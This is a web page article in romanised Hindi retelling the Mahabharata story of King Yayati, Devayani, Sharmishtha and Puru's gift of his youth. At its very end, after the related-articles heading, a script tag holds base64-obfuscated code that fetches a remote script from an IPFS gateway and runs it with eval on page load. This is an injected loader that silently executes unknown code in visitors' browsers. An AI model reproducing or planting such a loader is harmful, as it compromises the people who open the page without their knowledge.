ययाति
yayati maharaj nahush ke dvitiy putr the. patni devayani ke do putr yadu aur turvasu aur sharmishtha ke tin putr druhyu, anu aur puru huye. shukrachary ji ke shrap se vriddhavastha a jane par bhi vishayoan ko bhogane ki ichchha bani huee thi isaliye shukrachary ji ne kaha agar putr apani javani de dean to vishay sukh bhog sakate haian. yadu adi ne jab jabab de diya to pita ne shrap diya ki log paitrik rajyadhikar se vanchit rahoge. sabase chhote putr puru ne pita ki ajna ka palan kiya jisase use rajyadhikar diya gaya. sahastr varsh bit jane par raja ko vairagy ho gaya kyoanki 'bujhe n kam agini tulasi kahuan vishay bhog bahu ghi te.' ve puru ko javani lautakar van mean chale gaye. svarg mean jane par apane mukh se punyoan ka bakhan karane par indr ne svarg se gira diya. kyoanki punyoan ka bakhan karane puny kshin ho jate haian. tatpashchath kanya madhavi ke putr ashtak jo vedvetta rrishi the. ashtak ke punyaphal se raja yayati punah svarg mean pahuanch gaye.
ek bar daityaraj vrishaparva ki putri sharmishtha apani sakhiyoan ke sath apane udyan mean ghoom rahi thi. unake sath mean guru shukrachary ki putri devayani bhi thi. sharmishtha ati manini tatha ati sundar rajapootri thi kintu roop lavany mean devayani bhi kisi prakar kam nahian thi. ve sab ki sab us udyan ke ek jalashay mean, apane vastr utar kar snan karane lagian. usi samay bhagavan shankar parvati ke sath udhar se nikale. bhagavan shankar ko ate dekh ve sabhi kanyaean lajjavash se dau d kar apane-apane vastr pahanane lagian. shighrata mean sharmishtha ne bhoolavash devayani ke vastr pahan liye. is par devayani ati krodhit hokar sharmishtha se boli, "re sharmishtha! ek asur putri hokar toone brahman kanya ka vastr dharan karane ka sahas kaise kiya? toone mere vastr dharan karake mera apaman kiya hai." devayani ne sharmishtha ko is prakar se aur bhi anek apashabd kahe. devayani ke apashabdoan ko sunakar sharmishtha apane apaman se tilamila gee aur devayani ke vastr chhin kar use ek kuean mean dhakel diya . devayani ko kuean mean dhakel kar sharmishtha ke chale jane ke pashchath daivavash raja yayati shikar khelate huye vahaan par a pahuanche. apani pyas bujhane ke liye ve kuean ke nikat gaye aur us kuean mean vastrahin devayani ko dekha. unhoanne devayani ke deh ko dhankane ke liye apana dupatta us par dal diya aur usaka hath pak dakar use kuean se bahar nikala. is par devayani ne premapoorvak raja yayati se kaha, "he ary! apane mera hath pak da hai atah maian apako apane pati roop mean svikar karati hooan. he virashreshth! yadyapi maian brahman putri hooan kintu brihaspati ke putr kach ke shap ke karan mera vivah brahman kumar ke sath nahian ho sakata. isaliye ap mujhe apane prarabdh ka bhog samajh kar svikar kijiye." yayati ne prasann hokar devayani ke is prastav ko svikar kar liya.
devayani vahaan se apane pita shukrachary ke pas aee tatha unase samast vrittaant kaha. sharmishtha ke kiye huye karm par shukrachary ko atyant krodh aya aur ve daityoan se vimukh ho gaye. is par daityaraj vrishaparva apane gurudev ke pas akar anek prakar se anunay-vinay karane lage. is prakar anunay-vinay kiye jane se shukrachary ka krodh kuchh shant hua aur ve bole, "he rajanh! mujhe tumase kisi prakar ki aprasannata nahian hai kintu meri putri devayani atyant rusht hai. yadi tum use prasann kar sako to maian punah tumhara sath dene lagooanga." vrishaparva ne devayani ko prasann karane ke liye usase kaha, "he putri! tum jo kuchh bhi maangogi maian tumhean vah pradan karooanga." devayani boli, "he daityaraj! mujhe apaki putri sharmishtha dasi ke roop mean chahiye." apane parivar par aye sankat ko talane ke liye sharmishtha ne devayani ki dasi banana svikar kar liya. shukrachary ne apani putri devayani ka vivah raja yayati ke sath kar diya. sharmishtha bhi devayani ke sath usaki dasi ke roop mean yayati ke bhavan mean a gee. kuchh kal uparant devayani ke putravati hone par sharmishtha ne bhi putrotpatti ki kamana se raja yayati se pranay nivedan kiya jise yayati ne svikar kar liya. raja yayati ke devayani se do putr yadu tatha tuvarsu aur sharmishtha se tin putr druhy, anu tatha puru huye. jab devayani ko yayati tatha sharmishtha ke sambandh ke vishay mean pata chala to vah krodhit hokar apane pita ke pas chali gee.
shukrachary ne raja yayati ko bulavakar kaha, "re yayati! too stri lampat, mand buddhi tatha kroor hai. isaliye maian tujhe shap deta hooan tujhe tatkal vriddhavastha prapt ho." unake shap se bhayabhit ho raja yayati anunay karate huye bole, "he brahmadev! apaki putri ke sath vishay bhog karate huye abhi meri tripti nahian huee hai. is shap ke karan to apaki putri ka bhi ahit hai." tab kuchh vichar kar ke shukrachary ji ne kaha, "achchha! yadi koee tujhe prasannatapoorvak apani yauvanavastha de to tum usake sath apani vriddhavastha ko badal sakate ho."
isake pashchath raja yayati ne apane jyeshth putr se kaha, "vats yadu! tum apane nana ke dvara di gee meri is vriddhavastha ko lekar apani yuvavastha mujhe de do." is par yadu bola, "he pitaji! asamay mean aee vriddhavastha ko lekar maian jivit nahian rahana chahata. isaliye maian apaki vriddhavastha ko nahian le sakata." yayati ne apane shesh putroan se bhi isi prakar ki maang ki kintu sabase chhote putr puru ko chho d kar any putroan ne unaki maang ko thukara diya. puru apane pita ko apani yuvavastha saharsh pradan kar diya. punah yuva ho jane par raja yayati ne yadu se kaha, "toone jyeshth putr hokar bhi apane pita ke prati apane kartavy ko poorn nahian kiya. atah maian tujhe rajyadhikar se vanchit karake apana rajy puru ko deta hooan. maian tujhe shap bhi deta hooan ki tera vansh sadaiv rajavanshiyoan ke dvara bahishkrit rahega." (raja yayati ke isi putr yadu ke vansh mean shri krishna ka avatar hua tatha shishupal ne dharmaraj yudhishthar ke rajasooy yajn mean yayati ke isi shap ka ullekh kiya tha.)
raja yayati ek sahastr varsh tak bhog lipsa mean lipt rahe kintu unhean tripti nahian mili. vishay vasana se tripti n milane par unhean unase ghrina ho gee aur unhoanne puru ki yuvavastha vapas lauta kar vairagy dharan kar liya.
vrihaspati ke putr kach guru shukrachary ke ashram mean rah kar sanjivani vidya sikhane aye the. devayani ne un par mohit hokar unake samane apana pranay nivedan kiya tha kintu guruputri hone ke karan kach ne usake pranay nivedan ko asvikar kar diya. is par devayani ne rusht hokar kach ko apani padhi huee vidya ko bhool jane ka shap diya. kach ne bhi devayani ko shap de diya ki use koee bhi brahman patni ke roop mean svikar nahian karega.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>